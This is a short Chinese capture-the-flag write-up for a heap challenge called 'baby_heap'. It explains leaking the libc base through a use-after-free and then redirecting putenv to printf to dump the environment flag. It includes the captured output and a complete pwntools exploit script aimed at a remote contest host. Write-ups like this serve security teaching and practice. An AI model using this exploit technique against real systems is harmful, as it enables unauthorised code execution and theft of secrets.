baby_heap

一个简单的堆问题。

先利用UAF确定libc的基地址，然后给了一个可以任意劫持函数的方法，就是输入非1~5的内容即可触发，然后将putenv劫持为printf，即可将环境中的flag打印出来，长这样。

```
    b'ECI_CONTAINER_TYPE=normalHOME=/rootICQ_FLAG=flag{13e4d49f-2cd3-4bba-abee-82e5cf23d35b}TERM=xtermUSERNAME=PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/home/ctfPASSWORD=REMOTE_HOST=10.0.0.4Menu:\n'
    b'1. Add commodity\n'
    b'2. Delete commodity\n'
    b'3. Edit commodity\n'
    b'4. Show commodity\n'
    b'5. Secret Env\n'
    b'Enter your choice: \n'
ECI_CONTAINER_TYPE=normalHOME=/rootICQ_FLAG=flag{13e4d49f-2cd3-4bba-abee-82e5cf23d35b}TERM=xtermUSERNAME=PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/home/ctfPASSWORD=REMOTE_HOST=10.0.0.4Menu:
```

exp:

```python
from pwn import *
from pwn import p64,u64

context(log_level='debug')
p=remote("39.107.225.62", 36876)
# p=process("/home/ben/Desktop/attack_world/qiangwang24/baby_heap/baby_heap")
elf=ELF("/home/ben/Desktop/attack_world/qiangwang24/baby_heap/baby_heap")
libc=ELF("/home/ben/Desktop/attack_world/qiangwang24/baby_heap/libc-2.35.so")
offset=0x21a118

def Add(size:int):
    p.sendlineafter(b"choice:",b"1")
    p.sendlineafter(b"size",str(size).encode())
def Delete(index:int):
    p.sendlineafter(b"choice:",b"2")
    p.sendlineafter(b"delete:",str(index).encode())
def Edit(index:int,content:bytes):
    p.sendlineafter(b"choice:",b"3")
    p.sendlineafter(b"edit:",str(index).encode())
    p.sendlineafter(b"content",content)
def Show(index):
    p.sendlineafter(b"choice:",b"4")
    p.sendlineafter(b"show:",str(index).encode())
def Secret(index:int):
    p.sendlineafter(b"choice:",b"5")
    p.sendlineafter(b"sad !",str(index).encode())

Add(0x628)
Add(0x618)
Add(0x638)
Add(0x618)
Delete(1)
Show(1)
p.recv()
p.recv()
libc.address=u64(p.recv()[20:28]) - 0x21ace0
# print(hex(libc.address))
target_addr = libc.address + offset
p.sendline(b"6")
p.sendafter(b"target addr \n",p64(target_addr))
```

```
p.send(p64(libc.sym["printf"]))
Secret(2)
p.interactive()
```